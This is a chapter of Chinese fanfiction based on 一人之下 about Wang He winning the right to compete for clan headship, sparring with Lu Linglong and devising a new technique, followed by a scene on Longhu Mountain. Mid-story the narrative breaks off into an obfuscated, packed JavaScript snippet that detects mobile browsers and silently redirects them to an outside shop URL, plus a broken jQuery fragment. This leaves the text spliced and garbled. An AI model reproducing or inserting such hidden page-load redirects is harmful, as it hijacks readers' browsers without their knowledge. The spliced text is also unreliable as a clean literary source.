文趣网 > 都市小说 > [一人之下]傲娇还没退市场吗? > 4. 23岁的族长
    王并输了比赛,摔了东西就往外走。王合抬头挺胸像只小天鹅一样哒哒哒地走到王蔼面前。

    “太爷,怎么样?”

    王蔼没有说话,四周的叔伯也没有说话。

    过了好一会儿,他们好像才反应过来。

    王蔼神色认真,浑浊却带着精光的眼直直地透过王合,仿佛想把她看穿一般。

    “小合,这真是神涂?”

    王合理所当然地点点头,“当然,难道您连自家功夫都认不出了?”

    王蔼被她一哽,和那些叔伯他们一起细细打量了王合一遍又一遍,从头到脚、从左到右、从前到后,仿佛在观察什么新人类一样。

    王蔼:“你可别哄我老头子,真是你自己想的?”

    王合狐狸似的笑眯眯道:“那您得先回答我最早的那个问题。”

    王蔼又不说话了。

    他思考了许久,久到王合以为他不会答应,刚想翻脸走人,就听到王蔼沉沉地一句——“好。”

    “太爷答应了,如果你真能做到,太爷的继承人就是你。但要是做不到,那你就再也不许争这个名头。”

    王合叉着腰,“那咱们可得说好一个时间,不然您反悔怎么办?”

    王蔼哼笑:“小滑头,既然你想学张之维,那就按当年张之维一举成名的岁数来算。23岁,23岁之前你要是做不到让神涂像八奇技或金光咒那样名满天下,你就再也不许竞争族长之名。”

    王合个子小小的站在王蔼面前,女孩眉眼稚嫩,神采飞扬,有着一抹属于少年人天不怕地不怕的豪气,“那我要是做到了,我就是王家第一个23岁的族长。”

    王合唇角抑制不住地上扬,她举起掌心凑到王蔼面前,“一言为定?”

    王蔼眯了眯眼,碰上去,“一言为定。”

    得偿所愿的王合举起食指点了点自己眼睛,“太爷,每个人的炁都有颜色。咱家的功法之下,炁都是彩色的,这给别人的炁调个色还挺容易的。”

    王蔼和周围的子侄们面面相觑,也只能叹气。这是专属于王合一人的天赋,旁人学不来,也学不了。

    王合歪了歪头,太爷和叔伯们都不说话了,她可没有藏私。

    好吧,藏了一点点,王合心虚地努了努嘴。她后撤几步,和太爷叔伯们礼貌道别就准备溜了。

    到了下午就是四家聚会,说是四家其实只有三家。高家归属公司后,这种四大家的聚会就不常来了。

    这种切磋活动每年是陆家和王家轮着办,吕家只来几个人凑凑热闹。去年是陆家主办,今年就轮到王家。

    王并上午那场输了个彻底,气得现在还两眼通红。王合站在他身边,中间恨不得隔条长江出来。

    两个人站在门口招待客人,也是侧面说明下一届继承人会在这两人之间选出。

    “王合!”

    下车后直直朝王合走来的女孩留着一头粉红长直发,头上还戴着一个白底红点的蝴蝶结发带。

    “陆玲珑!”

    王合朝着女孩招手,她和陆玲珑算不上陌生,也算不上亲密,勉勉强强能称得上个熟络。每年一到这种聚会,她俩会自觉凑一块成为社交搭子,避免和旁人社交。

    王合是不愿意同家里的墙头草们唇枪舌战,陆玲珑则是家里这一代只有她一个女孩没其他姑娘可聊。

    “又是一年没见,听说你拜了天师府梁道长做师父。你不是一直想要做老天师的徒弟吗?”陆玲珑凑过来打趣道。

    王合给她倒了杯果汁递过去,“计划赶不上变化嘛,我很满意我现在的师父。”

    陆玲珑接过果汁没有喝,拿在手上继续同王合聊天,“诶~少见你这么坦诚哦。以前不都是,‘你懂什么,除了老天师大小姐我谁都看不上眼的’吗?”

    王合面上一红,羞恼地夺过她手上的果汁,“那是以前!陆玲珑你烦死了。”

    陆玲珑理直气壮地伸手,“果汁我还没喝呢,我可是客人。”

    王合自己猛喝一大口,呛了个好歹,“咳咳咳咳……现在是我的了。”

    陆玲珑赶忙从旁边的小桌上拿纸递过去,“你这家伙怎么还是这么不禁逗啊。”

    王合接过纸巾擦了擦嘴,“待会儿是你上场?”

    陆玲珑摇摇头,“才不呢,太爷不给我去,是陆琳哥上。你们家呢?”

    王合给陆玲珑重新倒了杯果汁,“王并,他上午输了个惨的,估计还想着下午找回面子。”

    陆玲珑捂嘴笑道:“那他可失望了,陆琳哥最近逆生三重进步可大了,太爷夸了好几回。”

    王合摇摇头,“王并虽然不聪明,但是实力还是不差的。不过嘛,他容易上头,没陆琳那么冷静。感觉四六开吧。”

    陆玲珑撑着脑袋,有些期许,“是嘛,我也想上场玩玩,我还没怎么和别人比过呢。”

    王合抬抬下巴,示意她看边上,“那边还有个小院子,看完比试咱俩去玩一局?”

    陆玲珑用肩膀拱了拱王合,“好啊,让看看你学的金光咒。”

    王合思忖片刻回道:“也行。”

    大人们聊天很快,一个圈子里活动抬头不见低头见,没多少话聊。聊到半道上就该把小辈们拉出来溜溜,缓解缓解气氛热热场子。

    陆玲珑拉着王合站到了长辈们身边,这是最好的位置。

    场上陆琳和王并已经摆好架势。

    陆琳全身映雪,他的炁是偏白的蓝色罩在身上如雪中精灵一般好看。王并是浑浊的彩色,神涂功法练出的斑斓色彩又因为拘灵遣将化作如墨般的黑,瞧着有些脏脏的。

    似雪的蓝收在陆琳周身,一招一式皆有章法,只是看上去颇为稚嫩。另一边浑浊的彩色铺的更大,就像王并的脾气一样狂傲自大,不知道是不是吸收了上午的教训,他的一招一式都变得越发沉重霸道,不给人留一点余地。

    不过他的道行不高,霸道不足沉重有余,看上去就显得笨拙许多。反倒不如上午的招式自如。

    陆琳显然是发现了这一点,他瞧准破绽,似雪般的蓝炁变得格外坚韧,两个人的动作也越来越快。

    王并已经陷入陆琳的节奏之中了,这一局他大概要输。

    王合打了个哈欠,捅了捅身边的陆玲珑,“这局赢面很明显了,咱们去一边玩吧。”

    陆玲珑又看了两眼,点点头,和王合一起同长辈们打了个招呼就手拉手去边上玩了。

    旁边的小院,是王蔼用来招待人少些时的贵客的,比旁边的大院要小上一倍。

    陆玲珑站在小院中心举起右手,“我要看金光咒。”

    王合叉腰,“咱们不是来比试的吗?”

    陆玲珑歪头,“可我们不是说玩一局吗?先让我看看嘛~”

    王合无奈,“好吧。”

    她起势,嘴里念着:“天地玄宗,万炁本根。广修万劫,证吾神通。三界内外,惟道独尊。体有金光,覆映吾身。”(注1)

    一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17803209|210679||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    层薄薄的金光随着咒语的输出逐渐显现在王合周身。

    陆玲珑凑上前对着金光咒敲了敲,“哇!这就是天师府的金光咒啊。”

    王合点点头,“对,不过我还没学多久,不像师兄他们金光凝实能够化物。”

    陆玲珑摸摸下巴,“那你把金光的范围缩小到身上像覆了一层膜,这样会不会更凝实呢?”

    此话一出,王合在这瞬间好像抓到那抹一直在脑海中飘荡,却怎么也捕捉不到的灵感。

    她熊抱住陆玲珑,用力亲了她脸颊一口,“陆玲珑你果然是陆家的福星,宝贝疙瘩。我有灵感了!今年我就先不送你了,咱们明年见!”

    陆玲珑已经被她亲懵了,呆愣愣地站在原地,连姿势都还是刚刚王合抱她的那个姿势。

    “啥?”

    王合跑回自己的小屋,她将周身的画韵全都从身体上释放出来。把一个单独的画韵作为最小独立单位的星子,再将这些画韵如星辰连成星座一般一个个连在一起。织就了一块充满画韵的“布”。

    有这块布笼罩在她的周身,可以划出一片空间,她在空间范围内不仅可以凭空作画,还可以随意调动画灵。同时这块布本身也会是个天然的防御。

    神涂7.0版,正式上线。

    她现在已经摩拳擦掌想要回龙虎山大干一场了。

    此时龙虎山上的茂征没由来地打了个喷嚏。

    他摸了摸鼻子,不解道:“最近着凉了?不应该啊。”

    老三今年初二,坐在一旁奋笔疾书,听到师兄这句话来了话头,“我们这谁着凉,师兄你也不会啊。瞧你那膀子,那肌肉,现在师父有时候都快扛不住你沙包大的拳头了。”

    茂征凉凉地扫了他一眼,“就你话多,快点写作业,今年再写不完我就让你尝尝这沙包大的拳头。”

    老四幸灾乐祸地偷笑,茂征也不咸不淡地扫一眼过去,老四连带身边的老五都一起闭了嘴。

    张灵玉凑在一旁跟着师侄们一起写作业,他真心实意地问茂征:“师侄要吃药吗?我可以帮你去山下买。”

    老三把头压在张灵玉的头顶,无耻地和小自己两岁的师叔撒娇,“小师叔可以帮我去买糖葫芦吗?”

    张灵玉瞪着一双大眼睛,眉心一点红痣让他看上去像块小糕点。他纠结了一秒,点点头答应了。

    老三得寸进尺,“那人家可以要师叔请吗?”

    张灵玉摸摸口袋里今天刚拿到还没热乎的压岁钱,纠结了两秒,又点点头答应了。

    茂征让老三在尝到甜甜的糖葫芦之前,先尝了口他念念不忘的沙包拳。屋子里唯一靠谱的成年人站起身,“小师叔还有什么想吃的吗?我去买,你们其他人呢?”

    其他人欢呼:“师兄万岁!”

    老四说:“我想吃冰棒!”

    茂征无语:“冬天我上哪去给你找冰棒,给你买瓶润田拉倒。”

    老五说:“我也要糖葫芦。”

    其他人也纷纷支持,都要糖葫芦。

    茂征点点头,又问了遍张灵玉。

    “师叔呢?也糖葫芦?”

    张灵玉怀着一抹清浅的笑应了,“嗯。”

    茂征随手揉了把张灵玉的头,穿了个外套往外走。其他人叽叽喳喳地凑上去,试图让师兄再大方些买点别的。

    张灵玉看着眼前的一切,忽然想起师父带他回来时说的一句话,“以后龙虎山就是你的家。”

    龙虎山是他的家。